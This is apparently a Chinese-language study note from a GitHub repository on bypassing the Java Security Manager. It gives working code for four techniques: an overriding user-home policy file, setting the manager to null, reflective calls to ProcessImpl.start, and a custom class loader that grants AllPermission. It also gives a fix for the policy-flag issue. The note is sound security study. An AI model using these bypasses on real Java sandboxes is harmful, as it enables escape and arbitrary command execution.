Skip to content

Latest commit

 

History

History
259 lines (182 loc) · 7.22 KB

File metadata and controls

259 lines (182 loc) · 7.22 KB

Security-Manager-Bypass

前言

简单学习一下,因为还没有遇到过。

介绍

使用-Djava.security.manager即可开启SM,也可以通过这样的方式:

        SecurityManager securityManager = new SecurityManager();
        System.setSecurityManager(securityManager);

不过不推荐这样。

单等号+home目录绕过SM

默认的2个policy:

# The default is to have a single system-wide policy file,
# and a policy file in the user's home directory.
policy.url.1=file:${java.home}/lib/security/java.policy
policy.url.2=file:${user.home}/.java.policy

使用-Djava.security.policy的时候,如果只用了1个等号这时候指定的java.policy的优先级低于上面的2个默认policy,如果user home目录可写的话,可以以直接往user.home里面写.java.policy来实现覆盖。

存在SM:

image-20220308141329470

user.home写入.java.policy:

grant {
    permission java.io.FilePermission "<<ALL FILES>>" ,"execute";
};

绕过SM:

image-20220308141424634

修复方式

使用-Djava.security.policy==java.policy而不是一个等于号。

setSecurityManager绕过SM

如果sm给了setSecurityManager的权限,可以通过将sm置为null来绕过。

如这样的java.policy:

grant {
    permission java.lang.RuntimePermission "setSecurityManager";
};

绕过:

System.setSecurityManager

反射绕过SM

如这种情况:

    public Process start() throws IOException {
        //省略部分代码

        SecurityManager security = System.getSecurityManager();
        if (security != null)
            security.checkExec(prog);
        //在这里检查了是否有执行命令的权限

        //省略部分代码
        try {
            return ProcessImpl.start(cmdarray,
                                     environment,
                                     dir,
                                     redirects,
                                     redirectErrorStream);
        }
        //最后调用ProcessImpl.start实现这个功能。
        //省略部分代码
    }

publicstart方法中进行SM的检查,之后调用了ProcessImpl.start,但是ProcessImpl.start里面并没有SM的检查,可以通过反射直接调用ProcessImpl.start(必须在能accessDeclaredMembers等的情况下)。

        Class clz = Class.forName("java.lang.ProcessImpl");
        Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
        method.setAccessible(true);
        method.invoke(clz,new String[]{"calc"},null,null,null,false);

创建类加载器绕过SM

在于之前提到的:

AccessController还提供了doPrivilege方法,当这个方法被调用时,AccessController亦会自顶向下遍历当前栈,不过只会遍历到调用doPrivileged方法的栈帧就会停止。例如Main.main调用Class1.fun1(),Class1.fun1()调用了doPrivileged方法,在doPrivileged方法中进行了一些操作,AccessController的检查只会遍历到Class1.fun1(),看Class1是否有权限。

doPrivileged是非常危险的,因为它截断了AccessController的检查。

以及:

这里调用了defineClass(null, b, off, len, null),最后一个参数null是ProtectionDomain的值

所以因为类加载器默认加载的时候ProtectionDomain为null,自定义类加载器让ProtectionDomain是具有全部权限的即可。

import java.security.AccessController;
import java.security.PrivilegedAction;

public class EvilSm {
    static{
        //在doPrivileged中执行恶意操作
        AccessController.doPrivileged(new  PrivilegedAction()  {
            @Override
            public  Object run() {
                try {
                    Runtime.getRuntime().exec("calc");
                    return null;
                }catch (Exception e){
                    e.printStackTrace();
                    return null;
                }
            }
        });

    }
}
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.nio.ByteBuffer;
import java.nio.channels.Channels;
import java.nio.channels.FileChannel;
import java.nio.channels.WritableByteChannel;
import java.security.*;
import java.security.cert.Certificate;

public class MyClassLoader extends ClassLoader {
    public MyClassLoader() {
    }

    public MyClassLoader(ClassLoader parent) {
        super(parent);
    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        File file = getClassFile(name);
        try {
            byte[] bytes = getClassBytes(file);
            //在这里调用defineClazz,而不是super.defineClass
            Class<?> c = defineClazz(name, bytes, 0, bytes.length);
            return c;
        } catch (Exception e) {
            e.printStackTrace();
        }

        return super.findClass(name);
    }

    @Override
    public Class<?> loadClass(String name) throws ClassNotFoundException {
        if (name.contains("Exploit")) {
            return findClass(name);
        }
        return super.loadClass(name);
    }

    protected final Class<?> defineClazz(String name, byte[] b, int off, int len) throws ClassFormatError {
        try {
            PermissionCollection pc = new Permissions();
            pc.add(new AllPermission());

            //设置ProtectionDomain
            ProtectionDomain pd = new ProtectionDomain(new CodeSource(null, (Certificate[]) null),
                    pc, this, null);
            return this.defineClass(name, b, off, len, pd);
        } catch (Exception e) {
            return null;
        }
    }

    private File getClassFile(String name) {
        File file = new File("./" + name + ".class");
        return file;
    }

    private byte[] getClassBytes(File file) throws Exception {
        FileInputStream fis = new FileInputStream(file);
        FileChannel fc = fis.getChannel();
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        WritableByteChannel wbc = Channels.newChannel(baos);
        ByteBuffer by = ByteBuffer.allocate(1024);

        while (true) {
            int i = fc.read(by);
            if (i == 0 || i == -1) {
                break;
            }

            by.flip();
            wbc.write(by);
            by.clear();
        }
        fis.close();
        return baos.toByteArray();
    }
}
        MyClassLoader myClassLoader = new MyClassLoader();
        Class clazz = Class.forName("EvilSm",true,myClassLoader);
        clazz.newInstance();

本地方法调用绕过SM

java中native方法是由jvm执行的,不受java security manager管控。因此,我们可以调用java native方法,绕过java security manager。

具体参考文章。

参考文章

https://www.anquanke.com/post/id/151398